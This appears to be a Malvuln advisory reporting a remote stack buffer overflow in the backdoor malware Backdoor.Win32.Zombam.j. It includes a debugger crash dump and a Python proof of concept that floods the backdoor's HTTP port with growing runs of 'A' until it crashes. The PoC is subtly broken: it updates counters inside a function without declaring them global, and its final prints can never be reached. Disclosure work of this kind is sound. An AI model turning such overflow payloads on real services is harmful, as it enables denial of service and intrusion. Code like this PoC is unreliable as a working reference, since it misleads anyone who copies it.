Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/a4212f23e1cc3bb34b0dfe15b2ad323e.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.j
Vulnerability: Remote Stack Buffer Overflow
Description: Listens on TCP port 80, sending consecutive HTTP requests with incrementing payload results in stack buffer overflow of the backdoor malware.

Type: PE32
MD5: a4212f23e1cc3bb34b0dfe15b2ad323e
Vuln ID: MVID-2021-0006
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/02/2021

Memory Dump:
EAX : 055DF9F0
EBX : 040402A0     "X\v"
ECX : 055DFA20
EDX : 41414141
EBP : 055DFA28
ESP : 055DF9D8
ESI : 040402A0     "X\v"
EDI : 00404E86     backdoor.win32.zombam.j.00404E86
EIP : 0040292E     backdoor.win32.zombam.j.0040292E

dword ptr [edx+4]=[41414145]=???


(168c.20d0): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=050cfa20 edx=41414141 esi=00000003 edi=00000003
eip=773ced3c esp=050cf0bc ebp=050cf24c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h

0:004> .ecxr
eax=050cf9f0 ebx=040702d0 ecx=050cfa20 edx=41414141 esi=040702d0 edi=00404e86
eip=0040292e esp=050cf9d8 ebp=050cfa28 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
*** WARNING: Unable to verify checksum for Backdoor.Win32.Zombam.j.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Zombam.j.exe
Backdoor_Win32_Zombam_j__+0x292e:
0040292e 8b4204          mov     eax,dword ptr [edx+4] ds:002b:41414145=????????


Exploit/PoC:
from socket import *

MALWARE_INFECTED_HOST="x.x.x.x"
sz = 76660
c=1

def doit():
    while True:
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_INFECTED_HOST, 80))
        sz += 2600
        JUNK="A"*sz
        PAYLOAD="GET /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_INFECTED_HOST+"\r\n\r\n"
        s.send(PAYLOAD)
        s.close()
        c+=1
        if c==3:
            exit()
    print("Backdoor.Win32.Zombam.j / Remote Stack Buffer Overflow")
    print("MD5: a4212f23e1cc3bb34b0dfe15b2ad323e")
    print("By malvuln")

if __name__=="__main__":
    doit()



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